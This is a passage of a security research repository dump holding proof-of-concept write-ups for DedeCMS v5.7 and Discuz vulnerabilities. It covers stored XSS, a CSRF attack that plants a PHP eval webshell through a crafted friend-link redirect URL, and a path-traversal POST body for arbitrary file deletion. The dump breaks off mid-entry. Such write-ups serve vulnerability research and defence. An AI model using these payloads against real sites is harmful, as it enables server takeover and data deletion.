https://raw.githubusercontent.com/SecWiki/CMS-Hunter/5ad0da9524b385045e7a4a627d2bb52906badfc5/DedeCMS/DedeCMS_v5.7_carbuyaction_存储型XSS/back_xssed.png -------------------------------------------------------------------------------- /DedeCMS/DedeCMS_v5.7_carbuyaction_存储型XSS/edit_address.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SecWiki/CMS-Hunter/5ad0da9524b385045e7a4a627d2bb52906badfc5/DedeCMS/DedeCMS_v5.7_carbuyaction_存储型XSS/edit_address.png -------------------------------------------------------------------------------- /DedeCMS/DedeCMS_v5.7_carbuyaction_存储型XSS/xssed.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SecWiki/CMS-Hunter/5ad0da9524b385045e7a4a627d2bb52906badfc5/DedeCMS/DedeCMS_v5.7_carbuyaction_存储型XSS/xssed.png -------------------------------------------------------------------------------- /DedeCMS/DedeCMS_v5.7_shops_delivery_存储型XSS/README.md: -------------------------------------------------------------------------------- 1 | # DedeCMS_v5.7_shops_delivery_存储型XSS 2 | 3 | ## Affected Version 4 | 5 | DedeCMS-V5.7-UTF8-SP2 ( 发布日期 2017-03-15 ) 6 | 7 | 需要站点启用商城功能。 8 | 9 | 下载地址: 链接: https://pan.baidu.com/s/1bprjPx1 密码: mwdq 10 | 11 | 12 | ## PoC 13 | 14 | 该漏洞比较鸡肋,需要登录 管理员后台通过 添加配送方式 功能 ,添加后在前后台都会触发 存储型 XSS 15 | 16 | 之所以会触发是因为在系统对 管理员输入的 配送方式-描述字段(des)在入库前只进行 addslashes 转义特殊字符处理,其实这没毛病 17 | 18 | 重要的是取出数据库的数据输出到页面前没进行 HTML 实体编码处理直接输出导致最终的 XSS 19 | 20 | 测试: 21 | 22 | 1. 后台添加 配送方式 23 | 24 |  25 | 26 | 2. 添加成功后直接展示配送方式列表,触发 XSS 27 | 28 |  29 | 30 | 3. 此外,这个 XSS 在前台用户购买东西选择配送方式的时候也会触发 31 | 32 |  33 | 34 | ## References 35 | 36 | 1. https://www.seebug.org/vuldb/ssvid-92863 37 | -------------------------------------------------------------------------------- /DedeCMS/DedeCMS_v5.7_shops_delivery_存储型XSS/add_delivery.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SecWiki/CMS-Hunter/5ad0da9524b385045e7a4a627d2bb52906badfc5/DedeCMS/DedeCMS_v5.7_shops_delivery_存储型XSS/add_delivery.png -------------------------------------------------------------------------------- /DedeCMS/DedeCMS_v5.7_shops_delivery_存储型XSS/front_xssed.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SecWiki/CMS-Hunter/5ad0da9524b385045e7a4a627d2bb52906badfc5/DedeCMS/DedeCMS_v5.7_shops_delivery_存储型XSS/front_xssed.png -------------------------------------------------------------------------------- /DedeCMS/DedeCMS_v5.7_shops_delivery_存储型XSS/show_delivery.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SecWiki/CMS-Hunter/5ad0da9524b385045e7a4a627d2bb52906badfc5/DedeCMS/DedeCMS_v5.7_shops_delivery_存储型XSS/show_delivery.png -------------------------------------------------------------------------------- /DedeCMS/DedeCMS_v5.7_友情链接CSRF_GetShell/README.md: -------------------------------------------------------------------------------- 1 | # DedeCMS_v5.7_友情链接CSRF_GetShell 2 | 3 | ## Affected Version 4 | 5 | DedeCMS-V5.7-UTF8-SP2 ( 发布日期 2017-03-15 ) 6 | 7 | 下载地址: 链接: https://pan.baidu.com/s/1bprjPx1 密码: mwdq 8 | 9 | 10 | ## PoC 11 | 12 | 该版本在新建&修改标签功能(可以写PHP文件到本地)存在CSRF漏洞,通过申请友情链接的方式,诱使管理员点击,从而从 Referer 中拿到 后台路径,进而以管理员的身份写一句话到服务器上 GetShell 。 13 | 14 | 测试: 15 | 16 | 1. 申请友链 17 | 18 |  19 | 20 | 2. 编辑 友链 信息 21 | 22 |  23 | 24 | dedecms_csrf.php 的内容如下: 25 | 26 | '; 30 | $exp = 'tpl.php?action=savetagfile&actiondo=addnewtag&content='. $muma .'&filename=shell.lib.php'; 31 | $url = $dede_login.$exp; 32 | header("location: ".$url); 33 | exit(); 34 | 35 | 3. 管理员登陆后台后 对 友链进行审核 36 | 37 |  38 | 39 | 4. 审核的时候一般都会点击 地址 看一下网站的内容,由于友链中使用了header 跳转,所以结果其实是访问了 `http://localhost/DedeCMS/DedeCMS-V5.7-GBK-SP2-20170315/uploads/dede/tpl.php?action=savetagfile&actiondo=addnewtag&content=%3C?@eval($_POST[%27c%27]);?%3E&filename=shell.lib.php` 请求。 40 | 41 |  42 | 43 | 5. 查看写入到服务器的一句话 `shell.lib.php` 44 | 45 |  46 | 47 | ## References 48 | 49 | 1. http://0day5.com/archives/4209/ 50 | -------------------------------------------------------------------------------- /DedeCMS/DedeCMS_v5.7_友情链接CSRF_GetShell/apply.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SecWiki/CMS-Hunter/5ad0da9524b385045e7a4a627d2bb52906badfc5/DedeCMS/DedeCMS_v5.7_友情链接CSRF_GetShell/apply.png -------------------------------------------------------------------------------- /DedeCMS/DedeCMS_v5.7_友情链接CSRF_GetShell/click_res.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SecWiki/CMS-Hunter/5ad0da9524b385045e7a4a627d2bb52906badfc5/DedeCMS/DedeCMS_v5.7_友情链接CSRF_GetShell/click_res.png -------------------------------------------------------------------------------- /DedeCMS/DedeCMS_v5.7_友情链接CSRF_GetShell/edit.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SecWiki/CMS-Hunter/5ad0da9524b385045e7a4a627d2bb52906badfc5/DedeCMS/DedeCMS_v5.7_友情链接CSRF_GetShell/edit.png -------------------------------------------------------------------------------- /DedeCMS/DedeCMS_v5.7_友情链接CSRF_GetShell/link_list.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SecWiki/CMS-Hunter/5ad0da9524b385045e7a4a627d2bb52906badfc5/DedeCMS/DedeCMS_v5.7_友情链接CSRF_GetShell/link_list.png -------------------------------------------------------------------------------- /DedeCMS/DedeCMS_v5.7_友情链接CSRF_GetShell/shell.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SecWiki/CMS-Hunter/5ad0da9524b385045e7a4a627d2bb52906badfc5/DedeCMS/DedeCMS_v5.7_友情链接CSRF_GetShell/shell.png -------------------------------------------------------------------------------- /Discuz/Discuz_<3.4_birthprovince_前台任意文件删除/1.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SecWiki/CMS-Hunter/5ad0da9524b385045e7a4a627d2bb52906badfc5/Discuz/Discuz_<3.4_birthprovince_前台任意文件删除/1.PNG -------------------------------------------------------------------------------- /Discuz/Discuz_<3.4_birthprovince_前台任意文件删除/README.md: -------------------------------------------------------------------------------- 1 | # Discuz_<3.4_birthprovince_前台任意文件删除 2 | 3 | ## Affected Version 4 | 5 | Discuz < 3.4 版本 6 | 7 | 需要会员身份登陆站点。 8 | 9 | 下载地址: 链接: https://pan.baidu.com/s/1hsOoSte 密码: nvjj 10 | 11 | 12 | ## PoC 13 | 14 | 15 | 测试: 16 | 17 | 1. 为了不破坏原有程序,在根目录下新建 1.txt 作为演示。 18 | 19 |  20 | 21 | 2. 登陆前台,访问 http://localhost/Discuz/Discuz_X3.2_TC_BIG5/home.php?mod=spacecp&ac=profile&op=base 22 | 23 | 先发起一个POST请求 24 | 25 | birthprovince=../../../1.txt&profilesubmit=1&formhash=18a19dce 26 | // formhash 需要右键查看源代码得到 27 | 28 | 成功后,个人信息已经被修改成如下: 29 | 30 |  31 | 32 | 3. 最后,本地提交POST表单删除文件 1.txt 33 | 34 | 表单内容: 35 | 36 |